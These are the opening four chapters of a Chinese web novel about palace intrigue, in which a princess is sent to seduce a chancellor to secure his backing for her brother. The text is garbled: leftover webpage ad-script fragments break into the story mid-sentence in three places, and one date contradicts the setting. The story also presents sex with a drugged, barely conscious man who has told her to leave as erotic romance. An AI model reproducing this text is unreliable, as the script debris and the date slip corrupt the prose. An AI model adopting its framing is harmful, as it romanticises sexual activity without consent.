《后来他总想当驸马》
1. 第1章
明宣二十五年。
周帝重疾不醒,太子痴傻无能,宁、黎二王由暗转明,朝堂一分为二。
上京波谲云诡,血腥漫天。
不为己臣者,杀之。
-
立春多雨,白日里被冲洗的街道,入夜后依稀还能闻见淡淡的血腥气。
上京西街的同明巷中,一辆不起眼的灰木马车驶来,停在一家不大的小院儿前。
大门未闭,两侧的红灯笼亮着微弱稀薄的光,不远处的马车上隐隐传来女子的声音。
“他堂堂一朝之相,就住在这种地方?”
周芮恹恹的放下窗前的帷帐,不满之意溢于言表。
青雉心下骇然,却仍旧解释道:“殿下,徐相清廉,整个上京都是知晓的。”
“清廉?他受父皇信任,又一步步从寒门学子爬到现在,本宫才不信他能认下这清廉二字。”
徐淮止这人,大抵和广义侯府那一家子一样善于伪装。
否则他一介布衣白身,今年也不过区区二十七,凭什么越过世家,荣登宰相之位?
若说他不贪不贿,周芮半点不信。
青雉安抚道:“殿下说的是,徐相定是藏的比旁人好,迄今为止才未被人拿到把柄。”
可不是藏得好嘛,连家宅都能安在这么破败的地方,连府邸都称不上,内里定是更加糟糕。
她不想进去了。
周芮萎靡的靠在角落,嫣红的唇紧抿,“青雉,要不我换个人吧?上京众多官员,有权势的也不止他一个。”
那些人,总不能也住在这种破地方吧?
青雉心中轻叹,如今殿下的处境,没人比她更清楚。
宁、黎二王由暗斗变为明争,太子与殿下如今就是砧板上的鱼肉,若再不做打算,便来不及了。
她苦口婆心的劝道:“殿下,如今上京的局势您也清楚,朝中势力几乎都被二王瓜分,仅剩的几位大人里,只有徐相能护的住您与太子。”
这番道理,青雉早先便与她说过。
但她不是吃惯了山珍海味,骤然给她一碗清粥白菜,她不知该如何下嘴嘛。
但转眼一想,徐淮止年纪是比她大了些,但好在此人模样还能看,又洁身自好,迄今不曾娶妻纳妾。
平日里她去听曲儿时,也没听说过他在外有什么相好……
等等!
周芮突然双目圆瞪,惊呼道:“青雉,他不会是……有什么隐疾吧?”
否则为何能清心寡欲这么些年,上京如他一般大的世家子,孩子都好几个,能下地跑了。
她一日不享乐,就不舒坦。徐淮止却能克己复礼,不谈风月。
与其让她相信徐淮止洁身自好,只会一心扑在朝中大事上,不如他不能人道,来的令人信任。
青雉对上周芮狐疑的目光,稍显心累,“殿下,不管徐相如何,您今晚都务必成事,只有这般,才能救太子,救赵家,救皇后娘娘!”
周芮怔住,“你的意思是……无论他能不能人道,我都要与他……”
“殿下,结果才重要。”
她面色骤然沉静,片刻后长叹一声,“我晓得了。”
青雉到底跟了周芮两年,此番虽不忍心,却也不敢让周芮就这么离开。
“殿下,徐相不是纨绔公子,以他的品性,若与殿下有了关系,定会照拂一二的。”
周芮看向她,“若赵家看错,徐淮止其实是一个道貌岸然的伪君子呢?”
青雉目光如炬,“一个不顾自身安危,只身闯入火中,只为救一个不足七岁的普通孩童,这般的人,怎会是伪君子?”
怎么不会?
当年母后还把持后宫之时,德贵妃为了救失足落水的太子,只身犯险,落下病根,如今还惧冷呢。
可后来,不照样为了黎王,对太子下手!
风声飒飒,雨珠从叶尖滚落,滴在檐上。
周芮问,“若你们赌错了呢?”
青雉轻声唤道:“殿下。”
“若赌错了,便是成王败寇,赵家一脉,包括殿下与太子,都会成为阶下囚。”
前十八年,周芮因身份尊贵,仗着父皇宠爱,活的恣意任性。少不更事时,上京权贵她得罪了不少,每日参她的折子加起来几乎能堆满半个御书房,但她从未被父皇苛责一句。
如今父皇昏迷不醒,上京大乱时她才恍然发觉,母后不问后宫事,虔心礼佛之时,赵家早在暗地里被蚕食干净了。
她之所以能在上京耀武扬威,皇弟能在痴傻后依然留有太子之位,靠的不过是帝王的宠爱罢了。
帝王在,她与太子便安然。
可皇弟还不曾继位,父皇便重疾缠身,不知何时醒,能否醒。
没了帝王宠爱的他们,从刀俎沦为鱼肉,想活,只有重新握住一把刀,这刀最好能所向披靡,战无不胜。
而徐淮止,便是赵家为她选中的刀。
“殿下,快三更天了。”
周芮沉吟片刻,应了一声,葱白的指尖将鬓发拢至耳后,抬眸笑道:“青雉,替我梳妆。”
天幕乌沉,朔风阵阵,晚间的冷风携着潮湿扑面而来。
女子提着裙角,在青雉的搀扶中,走下马车。
微风轻拂,耳鬓的发丝飞至眼前,周芮咬着唇,冷的直打哆嗦。
这件衣裳是她在府中亲自挑的,藕色内裙布料单薄,自胸口而下□□半露,而腰肢最细的地方,系着一条惹眼的艳红缎带,最外层的轻盈剔透的薄纱下,肌肤白腻,身姿曼妙。
‘吱呀——’
周芮缓慢抬手,推开陈旧腐烂的木门,灯笼中烛火摇晃,映在她娇俏艳丽的容色上,双眸潋滟,花钿朱红。
青雉遥遥相望,心中难安,“殿下。”
周芮回头,不解。
“此番大事容不得一点差错,还望殿下耐住性子,若徐相有得罪之处,莫要与他一般计较。”
薄纱缠风而起,墨发飞扬,周芮展颜一笑,眼波流转,笑容越发明媚娇艳,“放心吧,本宫知晓轻重。”
昳丽如荼蘼的颜色融入青雉眼底,她放下心来,颔首目送周芮的身影逐渐远去。
若不是徐淮止此人软硬不吃,万不会出此下策,让殿下脸面无光。
可若不是徐淮止此人软硬不吃,怎会论到他们算计染指。
殿下虽骄纵任性,胸无点墨,但自十三岁那年起,容色便冠绝上京,无人能及。
这是赵家给予徐相的交易筹码。
徐淮止,你可要接好了。
-
院子很小,一眼就能望到头。
寒冬刚过,种在院子里的梅树还能瞧见枝头上残留的点红。
周芮抿着唇,小心翼翼的拨开纤长的梅枝,左右看了一眼后,目光落到东边的一处小屋。屋内燃着油灯,微弱的火光映在窗棂上摇摇晃晃。
想来这里,便是徐淮止的卧房。
内门轻掩,她缓步入内。
屋中昏暗,唯一的亮光被门后的粗粝纱帐遮挡,左右两边的白墙泛着斑驳的黄,略有脱落。
“谁?”
男子嗓音低哑,隐含警惕。
周芮脚步一顿,早已想好说辞,站在纱帐后,看
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
着上头倒映出来的浅浅轮廓,娇声问:“大人可是歇着了?”
对方迟迟不应,几个呼吸间,她大着胆子,小心翼翼的上前。
越过布料粗糙的纱帐,屋内摆置与坐在桌前的男子,便一览无余。
权势滔天的丞相大人,周芮从前怎会没见过。
只是她以前,从未将此人放在眼中过。
或者说,上京权贵,没一人能让她放在眼中。
以她对徐淮止仅有的印象来说,他应当如那些文弱书生一般,不解风情,没什么嚼头。
可现下坐在桌前的男子,长衫略有凌乱,被包裹的身姿算不得文弱却也不似武将那般强壮,五官俊逸耐看,还长了一双狭长温润的星眸。
这哪像是寒苦出身,刻板正经的文臣,分明是风流倜傥,娇俏可人的贵公子!
周芮从前并未细细打量过他,是以没曾想过,徐淮止此人,竟然这般……
秀色可餐。
比她从前见过的男子,好看的多。
只犹豫一瞬,周芮便身姿摇曳的朝着徐淮止走去。
离的近了,她才发现男人瞳仁略微涣散,半敞的衣襟皱成一团,像是隐忍不住后的撕扯,露出从胸前到脖颈处,浅色的红。
破旧的小院,衣衫半解的权臣。
如此香艳的场景,只一瞬,她便笃定,徐淮止被人下了药!
周芮浸在风月之中的日子里,见过不少下作的手段,下药更是常见。
只是不知这药是谁下的,难不成有人打着与她同样的主意?
罢了,管他谁下的,她今晚本就打算暗度陈仓,既然下了药,那她先前想好的漏洞百出的说辞便可以咽进肚子里了。
徐淮止掀起眼眸,涣散的瞳仁瞧不清眼前这人的模样。
半晌后,他喉结滚动,压抑出声,“出去。”
若不细听,周芮压根发现不了他艰涩的嗓音下,略微急促的呼吸。
周芮眼尾上扬,不但没走,反而靠近了些许,“大人,你这里,不难受吗?”
娇嫩白皙的手指点在他微微凸起的喉口上,指下的肌肤略有些粗糙,不似女子细腻。
就在周芮出神时,却忽然被人紧紧攥住皓腕。
徐淮止眼尾渐红,厉色顿显,却仍旧端的一副清泠雪色,“姑娘,自重!”
“我若不呢?”
他掌心有茧,只需微微用力,便磨得她手腕生疼。
周芮蹙眉,眼底泛起一丝薄怒。
他弄疼她了!
呵斥涌到嘴中,又被她咽了回去。
青雉的叮嘱还历历在目,她远不必为了一点小事,惹徐淮止不快。
哪怕他现下神志不清,或许根本不知坐在他跟前的人是谁。
周芮双眸氤氲,楚楚可怜,落在唇畔的怒婉转成娇嗔:“大人,你弄疼我了。”
徐淮止极重的喘了一口气,猛地松开她的手,去拿桌上早已放凉的茶水。
内里的情绪远不如他面上那般云淡风轻,燥热自下而上,眼前时而清晰,时而模糊,方才半刻的清晰中,是一抹艳到极致的颜色,勾着他心底汩汩而出的情.欲。
骨节分明的手还未碰到茶盏,周芮便如出一辙的覆上他白皙的手背。
魅音如丝,勾人心魄。
“大人……”
在周芮看不见的暗色中,徐淮止眼尾的殷红深的可怖。
“春宵苦短,莫要辜负……”
拉扯紧绷的弦在瞬间根根断裂,徐淮止猛地回头,瞳仁漆黑如墨,盘旋压抑的风暴在瞬间席卷,将周芮还未说完的话怔在了口中。
2. 第2章
滴答——
残蜡落入烛台,火光摇曳,窗棂纸上倒映出两个人影。
纠缠、撕扯。
周芮拽着床柱,眼尾靡丽,跪坐在床上的双膝磨的有些红,她嫣红的唇微张,低头看他的眸子中,雾气氤氲。
“你能不能听话些?”
徐淮止发丝凌乱,面色涨红,他歪着头,揪着衣襟的手指略显用力,懵懂急切的双眸噙着火光。
周芮也很急,临时从寻艺坊中学到的手段似乎没什么用。
周芮口干舌燥,心烦意乱,她想:
反正他现在神智不清,若是她割破手指,将血滴在床上糊弄一下,应当……并无大碍?等明儿个一早醒来,也能糊弄过去吧?
就在她凝眉思索时,‘撕拉’一声将她拉回了神。
布料从男人的衣襟处裂开,徐淮止目光灼灼的盯着她,神色迷离,下颌抬起漂亮的弧度,似乎在寻求表扬。
周芮这才记起,夜里出府前,青雉替赵家传的话——
腹背受敌,孤注一掷,不能出一点差错,赵家眼下,赌不起。
此时周芮才明白这句话的意思。
恐是外祖父怕她自作聪明,让徐淮止察觉出来,届时偷鸡不成蚀把米。
手腕骤然被人攥住,天旋地转间,脊背骤然撞在坚硬的床板上,周芮疼的面目狰狞,火光蔓延至眼底,她怒瞪着趴在她身上的男人。
温热的呼吸抚过鼻尖,松香凛冽,周芮因着怒气,容色愈加明媚,“徐淮——”
以唇封口,急促的吻,如骤雨滂沱,将她未说完的话堵在了口舌之中。
婉转嘤咛,溪水湍湍。
窗外天幕乌沉,小雨淅沥,万物在滋养中悄然生长。
枝叶撑开与风雨轻唤纠缠,娇弱的花苞经不住雨水敲打,缓缓张开玉瓣,开出独有的景色。
-
晨光熹微,公鸡啼晓。
屋内暗香弥漫,烛火燃尽,散落在床底的衣裳,旖旎凌乱的纠缠在一起。
大开的床帐外,是男人垂放在床沿的手臂。
四周静悄悄的,只有床上二人,缓慢柔和的呼吸。
忽然,冷风徐来,男人指尖轻动,眉宇微蹙,缓慢的睁开了眼。
眸中灰暗的床帐从模糊到清晰。
涣散的意识回来后,他骤然发觉身上沉甸甸的,腰间被细软的手臂勾缠,略一低头,鼻尖与发丝相触,栀子香扑鼻而来,一名女子正躺在他怀中安静酣眠。
徐淮止身子僵硬,面色紧绷,骤然回想起昨夜身子的异样,眼底阵阵阴沉,杀意一闪而过。
他抬手,将人一把推开,下床拾起衣衫。
薄被从女子脖颈滑落,露出圆润白皙的肩头上斑驳的点点殷红。
周芮双眼迷蒙的掀开一条细缝,屋内昏暗,却能隐隐看见站在床边穿衣的男人脊背挺拔,肌理分明,白皙的肌肤上布满红痕,似是在提醒她,昨夜有多荒唐。
睡意瞬间消散,周芮记起今日才是关键,她慵懒起身,胸前薄被虚掩,嫣红指尖将发丝勾至耳后,做足姿态后才轻声道:“本宫昨夜是想夜访徐相问问父皇的身子如何了,谁料徐相竟对本宫上下其手……”
娇声入耳,略显熟稔的嗓音令徐淮止合拢中衣的手一顿。
他蓦然回头,跪坐在床榻上的女子虽发丝披散,衣衫不整,可那艳丽清绝的容色无一不在告诉他,世间能长成这副模样的,只有周芮无疑。
回想起上京近日来的种种,他还有什么不明白的。
昨夜,他与往常一般在屋内看书,一盏茶后便觉浑身难耐,朔言去寻解药后,他便意识不清,全然忘却了后面的事。
至于是谁给他下的药……
周芮能出现在这里,自然不言而喻。
“徐相不准备给本宫一个交代吗……”
周芮眼波流转,忽然大胆的缠了上来,未着寸缕的藕臂环在他颈后,柔软的身子紧紧贴着他。
“殿下!”
徐淮止厉声喝止,被气的说不出话来。
他……为何是这个反应?
他在凶她?
周芮瞋目,回想起昨夜被折磨的几乎成了两截,她后来不管不顾的想将他踢下床,可徐淮止不但不停,还攥着她的脚腕更来劲了,直至后半夜她才浑然睡去。
可一夜过去,他便如同变了个人似的。
哪怕是她另有所图,可也阴差阳错的帮他解了药,更别说后来他将她折腾的那么惨。
周芮忍着满腹火气,谨记青雉叮嘱,温柔的将脑袋贴在他胸口,提醒他,“徐相,昨日可是本宫帮了你。”
“若不是本宫,你早就□□焚身,逆血而亡了。”
言下之意,他还该感激不成?
徐淮止被气笑了,“殿下,贼喊捉贼也不是这么喊的。”
他手腕用力,将人从身上扒了起来,抄起一旁的衣裳丢在周芮身上,“穿上!”
周芮将衣裳扯下,此时也明白过来徐淮止的反应为何会在意料之外。
她瞪着一双美眸,“什么贼喊捉贼,你怀疑是我下的药?”
“不然?”
她不敢置信,高了声音,“本宫幸你,还需要用这种下作手段?”
徐淮止不耐的蹙眉,懒得与她多言。
上京谁人不知,昭和公主醉心男色,流连风月,更是艺坊楚倌的常客,入幕之宾如过江之鲫。
这药不同于寻常合欢药,若不交合,便是肝肠寸断,逆血而亡。
如此毒辣的东西,寻常人身上怎会有?
他为官五载,龌龊污秽之事见过不少,平日里眼睛恨不得长在头顶的昭和公主,委身与他春风一度,为的是什么,他心中岂会不知。
这些人真是……
不知所谓。
“殿下此举若想从臣身上得到什么,那恐会让殿下失望了。”
周芮见他如此直白,火气瞬时堵在心口发不出来,她幽幽道:“徐大人玷污了本宫的清白,想就这样算了?天下哪有这般好的事。”
“玷污清白?”
徐淮止冷嘲道:“公主整日流连男色,竟还有清白可言?”
“徐淮止!”周芮猛地起身,薄被自身上滑落,酮体不着寸缕,本该白腻如玉的肌肤上红梅点点,煞是扎眼。
徐淮止慌张别开眼,也恼了,“殿下,适可而止!”
什么隐忍、什么大计都被她抛掷脑后,周芮怒着眸子,抬手就去挠他。
尖利的指尖犹如利器,徐淮止连忙避开,涂满豆蔻的指尖堪堪擦过下颌,留下一道淋漓的血色。
他一把抓住周芮的手腕,不留余力,眉眼阴沉可怖,俨然不复平日温和。
周芮兀自挣扎,徐淮止愈见用力。
疼痛密密麻麻的传来,周芮想也未想的朝着桎梏她的手咬去。
唇瓣还未触碰到男人的手背,他便猛的松开,冷若霜寒的眼眸在触碰到她未着寸缕的肩膀时,又猛的挪开目光,似是被她气的不轻。
徐淮止始终克己复礼不愿看她,沉声道:“殿下可闹够了?”
“天色不早了,本官还要上朝,不送。”
他冷漠转身,将她视若无物,仿佛无论她做什么都不能令他回眸一顾。
屈辱愤懑令周芮红了眼。
可徐淮止的‘本官’二字又在提醒她,如今她不再是掌握
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
生死的刀俎,昭和公主的名号远不如他一个靠着歪门邪道爬上来的穷苦大臣。
分明来之前她便下了决心,也早就料到有此一遭。
但她并不曾想,徐淮止当真能心如止水,不动如山。
她在艺坊见过诸多男子,不为美色所动之人,是真是伪,她自能分辨。
徐淮止不是作伪,但也因此,才更令她屈辱。
她被迫下了这步棋,最终却什么都得不到,堂堂昭和公主,竟沦落至如此不堪的地步。
周芮抹去眼尾渗出的泪珠,不甘心道:“徐大人,如今朝中局势微妙,太子殿下乃是皇后嫡出,天家正统,你作为一朝之相,怎能冷眼旁观!”
屋内没有伺候的下人,徐淮止游刃有余的换上紫色官袍,衬得他眉眼出尘,气质温和。
情绪不再跌宕,他闻言,从容道:“殿下若是敢照照镜子,就会发现你脸上正刻着两个字。”
“什么?”
周芮蹙眉,不明白他这时候还在说什么字,她脸上怎会有字?
徐淮止轻嘲。
怎会没有?
分明大张旗鼓的刻着‘利用’二字。
还真是不加掩饰,是打算就凭借着这副皮囊,将他拿捏在手中?
“大人,发生何——”
木门突然被人从外大力推开,听到动静的顺玉刚步履匆忙的冲进来,余光瞥见一抹白皙,担忧之色瞬息万变,最终噌的一下化为灰烬。
他面红耳赤的转身,嘴比脑子还快,“我什么都没看见!”
徐淮止额角青筋直跳,“出去!”
‘砰——’
顺玉低着头,比来时还要疾步如飞。
木门再次阖上,周芮穿好衣裳,趋步走至徐淮止身边。
馨香入鼻,他不动声色的往旁边挪了一寸。
“徐淮止,若我求你呢?”
他侧头看去,并不为所动,冷眼劝道:“殿下,与其将时间浪费在臣身上,不若想想法子,如何从这场夺嫡之争中活下来。”
周芮长睫轻颤,对上他平静无波的神色,哪怕心中翻涌,也不愿再多求他一字。
事已至此,既无法得他相助,徐淮止于她而言,便只是一个臣子。
仅此而已。
她一声轻嗤,随手抚过额前的碎发,明艳潋滟的看向他,“徐相能和本宫说说你不愿相助的缘由吗?”
“没有缘由。”
“好一个没有缘由!”
周芮冷笑一声,讨好献媚之色尽数褪去。
得此结果,权当赵家看走了眼,当她赌输了。
她并非不想找条活路,只是此路不通,她又何必硬撞南墙!
周芮抬手勾起滑落的纱衣,目不斜视的从徐淮止身旁走过,长裙坠地,墨发披散垂至腿弯,饶是徐淮止刻意避开不见,余光也依然无法忽视她薄纱之下,遮掩不住的殷红齿印。
木门打开,一丝暗淡的天光映来,她脚步未曾停留,嗓音是还未恢复的暗哑,“昨夜之事,本宫就当被狗咬了一口。”
身影逐渐走远,屋内氤氲的暖意消散,只留下女子身上浅淡的栀子香还未褪去。
徐淮止回过神后,捏着眉心。
这都是些什么糟心事。
他沉沉的吐出一口气,回身去拿今日上奏的折子。
越过纱帐,行至桌边。
拾起奏章正欲离开时,恰好从床边走过,余光不小心瞧见了凌乱的被褥,徐淮止蓦然顿住。
他静静的盯着床榻好半晌。
单薄的洁白褥子上本该一尘不染,可一夜过去,却多了一些猩红。
如血一般的红,红的刺眼。
3. 第3章
她……
诸般复杂的情绪汇集到眼中,半晌之后,他突然想起什么,杂乱骤然消散。
他总不能……真蠢到去信周芮流转风月,至今却仍是清白。
自昨夜到今日,他被算计的明明白白。
既拿清白做筏子,也该来一个名声好些的!
而不是用这不真不假的东西扰乱他思绪,等着他跳进他们这些人预先设好的坑里!
屋外脚步渐响。
顺玉小心翼翼的自门外走进来,“大人,昭和公主她……”
话音未落,他行至徐淮止身边,也瞧见了那抹落红,顿时瞪圆了眼,“她竟然还是……”
徐淮止回过神,从一旁拿起折子,“几滴血,能证明什么?”
顺玉闻言怔住。
“指尖血,鸡鸭血,什么血不是血?”
“还能这样?”顺玉察觉到这些血或许也是他们算计大人的计谋后顿时恼了,“这些人怎么净想着拖大人下水!”
“自个儿下药,又自个儿来解,末了还想用假的处子血来让大人就范。”
“我看他们就是仗着大人品性高洁,所以才……”
徐淮止不想听他翻来覆去的吹嘘,捏着折子,大步流星的朝着门外走去。
“大人,大人你等等我啊……”
徐淮止刚从院中出来,行至巷尾的马车正好消失在拐角。
顺玉快步追上,说起正事,“昨夜属下回来之时,看见咱们院外停着一辆马车,青雉在车上。”
徐淮止扶着摇摇欲坠的马车,正欲上去,闻言侧身看他,顺玉一本正经道:“属下本想进去救大人的,但青雉说媚药无解,属下也确实没找到解药,所以才……”
电光火石间,徐淮止突然想起了什么。
青雉如今虽是周芮身边的婢女,可太子尚未痴傻时,青雉是皇后母族,赵家送去东宫的小宠。
能被赵家送去太子身边,此人的作用定不止是用来春帐欢愉。
从权贵世家中厮杀出来的人,衷心才是最重要的。
一仆不侍二主,她先前既是太子的人,如今定不会再为周芮所用。
而她能光明正大的陪周芮做此番不知廉耻的事,若没赵家示意,她怎会由着周芮胡来?
于赵家而言,此番局势,能位及帝王之位的太子,总比一个骄纵纨绔的公主来的重要。
所以昨夜,到底是周芮荒唐,还是赵家……
-
肃静无声,车轱辘碾过青石子路,自铺门紧闭的街巷穿过。
马车内,周芮褪去薄纱,换上儒裙,恹恹推开青雉欲要为她梳妆的手。
青雉顿住,打量周芮半晌,欲言又止,“殿下,您与徐大人——”
“别提了,他不会助我们成事。”
周芮打断,想起徐淮止那副软硬不吃的嘴脸,便烦。
“为何?”青雉急切追问。
周芮将昨夜到今日之事,言简意赅的叙述一二后,青雉脸色煞白一瞬。
心慌意乱之下,她竟忘了主仆有别,目光锋利,高声质问,“殿下,奴婢不是叮嘱过您大事为重吗!”
周芮怔住,随后‘噌’的一下起身,“放肆!”
她忘了此时还在马车中,头颅磕在顶上,却又生生忍了疼,不想落下气势。
佯装旁若无事的坐下后,眼中仍旧跳蹿着两簇小火苗,“你以什么身份质问本宫?又凭什么质问本宫?”
青雉自小便是赵家精心培养的女侍,赵家在她身上耗费无数心血,可以说除了身份,她没什么比不过上京贵女的,甚至还比那些大门不出二门不迈的贵女强的多,是以她从来都是将自己当作属下自处。
她也知晓自己方才急了些,可她不觉着自己说错了。
昭和公主能让京中无数男子为其倾心,手段定然不一般,若不是她不尽心,徐淮止怎会无动于衷!
“殿下要知晓,您身上的背着的可不止您一人的命!太子自幼便信任您,您忍心看他被奸人所害,丢失皇位,甚至丢掉性命吗?”
“那也轮不到你来责问本宫!”
周芮气势不减,双眸凌厉,藏在袖中的指尖微微发颤。
被气的狠了。
是她不想求人吗?她十八年来何曾求过人?
她那般放低姿态,甚至不惜用清白之身引诱一个她从来不曾放在眼里的大臣,她能做的都已经做了!
徐淮止那双眼睛也不知道怎么长得,连她都瞧不上。
但凡是个寻常男子,昨夜之事定十拿九稳,可徐淮止他就不是人。
她还要怎么委曲求全,才能让一个死物动凡心,怜她爱她,为她当牛做马?
自父皇重病以来,人人都想看她笑话,连一个小小的宫人都能在背地里编排她,而她偏偏无能为力,不敢妄动一分。
朝野上下就等着拿捏她的把柄,以此将太子与赵家拉下马!
她这些时日受的委屈还不够多吗?!
青雉沉了面色,“公主大不必一副受了委屈的模样,论委屈,谁能抵得过太子殿下?您身体康健,自小受尽宠爱,您想要的东西,太子就算拖着一副病体也会亲自送到您面前。”
“两年前他莫名中毒,痴了傻了,皇后娘娘又青灯古佛不问世事,如今陛下昏迷不醒,他或许连命都保不住了,能指望的人只有您与赵家!”
“论委屈,谁有太子委屈?”
青雉字字句句如刀刃利剑,尽数扎在周芮心窝上。
她忍着眼中湿润,抬手便要给她一巴掌,让她知晓何为主仆有别。
掌心到了半空被人截下,青雉嘲讽道:“殿下,您以为您如今还是那个高高在上的昭和公主?”
“奴婢便是话说的重了些,您又能如何?”
“如今有谁,会为您做主?”
周芮嫣红的唇蓦然发颤,她红着眼眶看了青雉半晌,令人停了马车。
衣袂纷飞,在青雉错愕的目光下,周芮走下马车。
青雉怔住片刻,连忙高声唤道:“殿下!您要做什么?”
空旷寂静的青石路上,金光斑驳,散落人间。
周芮抬手,飞快擦去掉落的泪珠,愤懑委屈的往前走着。
青雉方才所言,若换做平日,她定要让她知道忤逆自己的下场!
可她说的对。
她是一个没了父皇母后,没了弟弟,没了赵家便一无所有的人!
她要保住阿樾的皇位,现下能靠的人,只有徐淮止。
她得回去找他!
“殿下!”青雉自后追上,蹙眉急切,“眼下上京并不安全,许多双眼睛盯着您,您……”
水雾洗过的眸子红的出奇,原先清澈明媚的瞳仁,现下布满红丝,青雉顿时因她看来的这一眼怔住。
周芮哽咽道:“我去求他,你们不是说只要他愿意,定能护住赵家与太子吗?”
“殿下……”
与她们一道之隔的铺子突然陆续开门迎客,包子馄饨香气四溢,热气氤氲。
青雉想起两年前,太子痴傻,赵家想将她送去公主身边时,也是在初阳欲升的街道上。
周芮站在赵家门前,锦衣华服,仆从无数,看向他们的神情波澜不惊,似乎无论他们做什
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
么,都无法得她高看一眼。
她心中震撼,甚至觉着,那般的周芮,只需一个眼神,便有无数人为她赴死。
那时的她,比太子还要威风。
可就是这样的人,却在见到她时,屈尊降贵的攥住她的掌心,将一枚镂空金缕镯子戴到了她的手上。
周芮信誓旦旦的开口,“你以后便是本宫的人了,本宫的人可不能如此寒酸。”
她心下惶恐,正欲回绝,那道声音却又说:“你且不用怕,谁若敢编排你的不是,本宫便将他送去诏狱。”
正因殿下此举,那些在背后说她背弃太子投奔公主殿下的人此后再不敢当着她面多说一个字。
殿下待自己人,向来都极好。
青雉回过神来,看着眼前这个未曾梳妆,素衣褴褛的殿下,心口忽的酸涩。
是她方才急了。
“殿下,咱们回府吧。”
周芮转身就走,嗓音是哭过后的颤意,“你先回去吧。”
青雉攥住她的手腕,歉疚的垂下头,“殿下,方才是奴婢说错话了,您别与奴婢一般计较,事已至此,眼下还是先回府再做打算。”
周芮咬了一下唇,犹豫的看向青雉,“可是……”
她若现在回去,徐淮止那边该怎么办?
青雉弯起一抹柔和安抚的笑,“殿下自来洪福齐天,祥瑞环身,更何况还有我和赵家呢,一定还有别的法子的。”
“卖包子咯,新鲜出炉的包子……”
周芮咽下唾沫,正欲开口,腹中却忽然‘咕咕’两声,她臊红了脸,怒目圆瞪,“不许笑,不是说回府吗,还不走!”
她大步流星的回身,朝着马车而去。
天光大亮,周芮在马车上等了半晌也不见人,蹙眉上前,正欲掀开帷帐,便瞧见青雉拿着油纸矮身进来。
香气四溢,又软又白的包子骤然出现在眼前。
青雉笑道:“殿下,该用早膳了。”
周芮红唇微张,嘟囔了两句,才抿着唇,略显嫌弃的接过来。
昭和公主府选址在内城,与达官显贵同处一片土地下。
比起西街拥挤破败,东街则要繁华喧闹许多。
长空万里,不见纤凝。
马车停在公主府门前,周芮接过青雉递来的绢帕,嫌弃的擦去嘴角的油光,“我若是吃坏了肚子,你便等着挨罚吧。”
青雉跟在她身后,向府中走去,“是,殿下若闹了肚子,奴婢便以死谢罪。”
周芮轻哼一声,便算作原谅她了,不再计较她先前在马车上无礼一事。
“织云,本宫回来啦!”
周芮踩着枯枝,神清气爽的踏入院中,可唤了半晌,也不见织云的影子。
她蹙眉不悦,“本宫就出去了一晚,这些该死的奴才便不将本宫放在眼里了?”
“织云,织云!”
周芮扯着嗓子喊了半晌,手臂骤然被青雉握住,她疑惑看去,“怎——”
话音未落,身后骤然出现一声轻笑。
她瞬时回头,先前还空寂无人的院中不知何时埋伏了众多侍从,此时他们一股脑的冲入了院儿里,俨然一副大军围城之意。
车轱辘碾压在地上的沙沙声传来时,侍卫一分为二,露出坐在轮椅上的少年。
少年容色昳丽,肌肤苍白,唇色却红的滴血,若不是一身宽大的云绸紫衫包裹住他过分消瘦的身躯,那艳鬼索魂的模样,定要将人吓住。
轮椅停在与周芮三步远的地方,宁熵雀歪头看她,缓缓勾勒出笑容,眸中闪烁着异样的光芒,轻声喃喃,“殿下,抓住你了呢。”
4. 第4章
“宁九?”周芮错愕的看向少年。
宁熵雀眼底露出一丝餍足,“殿下还记得我。”
周芮没有注意他眼中不加掩饰的光芒,朝着周遭扫视一圈,并未在下人中瞧见织云的影子,她此时还有什么不明白的。
狡兔死走狗烹,人之常情。
可被亲信背弃后的愠怒仍旧如大火灼烧在周芮心头,她挣开青雉禁锢她的手,劈头盖脸的责问:“你让这么多人围住公主府,是想抓本宫?”
宁熵雀对上周芮要吃人的目光,展颜一笑,“殿下生气了?”
他云淡风轻的低语,气得周芮说不出话来。
广义侯府是宁王外家的势力,宁熵雀虽是府中庶子,但却极其得宁王喜爱。
据说他的生母是侯夫人的陪嫁丫鬟,后来怀着他外出替夫人做事失踪,侯夫人前些年外出避暑时,才意外将他寻回。
他性子乖巧,又生了一副雌雄莫辨的好相貌,每次用那双干净澄澈的眸子看人时,总让人心尖发软。
他此番来公主府堵她,定有侯府示意,或是争得过侯府的同意。
周芮恨的咬碎了一口银牙,“本宫是大周公主,更是宁王的皇妹,即便你们狼子野心,想治本宫的罪,也不能不分青红皂白!”
“关表哥何事?”宁熵雀歪头不解,“是我想要公主,表哥并不知晓。”
“你是个什么东西!”
周芮更气了,没有宁王与侯府示意,就凭宁熵雀一个庶子都敢围困公主府,她满眼愠怒,口不择言道:“现在本宫落魄到宁王的狗都能来跟前吠叫两声了?”
青雉指尖微动,不动声色的观察周遭,生怕周芮方才所言激怒宁家公子。
尽管以她的身手可以带着殿下离开,可家主说过,不到万不得已,危及生命之时,不可出手。
眼下就凭她们二人的情形,若宁家公子动手,她们定逃脱不得。
宁熵雀并未生怒,反而笑了起来,声音灵动干净,与他的模样大相径庭。
他略一抬手,下人便懂事上前,拿出绢帕仔细为他净手。
确保十根手指干净如洗后,他趋着轮椅上前,白皙嫣红的指尖勾在周芮的衣袖,少年抬头,眼底明媚的光晕灼灼生辉,“殿下生气的模样,还是这般好看。”
像旭日东升,唤醒世间沉寂,又如一滴雨水,落入湖中,荡起涟漪。
他阴湿的眸子一眨不眨的望着她,仿佛下一瞬便要将人拆吞入腹。
周芮躲开他的手,对上他极力掩藏,却仍旧露出一丝灼热的双眸。
原先的不解犹如云雾拨开,令她顿时察觉到宁熵雀今日之举,所谓何事。
去年,正是明宣二十六年,父皇身子尚还康健之时。
宁熵雀喜欢鸟儿,平日里去的最多的便是互市,那地儿主要做一些牲畜买卖。
太子生辰在即,她想送他一个活物作伴,那些时日闲着无趣儿便去互市走动了一番,与宁熵雀也是在那处勾搭上的。
说是勾搭,也不尽然。
她不过是闲来无事与他游湖赏景了几次罢了,说的再多,便是逗弄一二,连风月都谈不上。
此后她嫌天热,便不愿出门,一来二去都险些忘了她曾与宁熵雀那点几乎看不着的情谊。
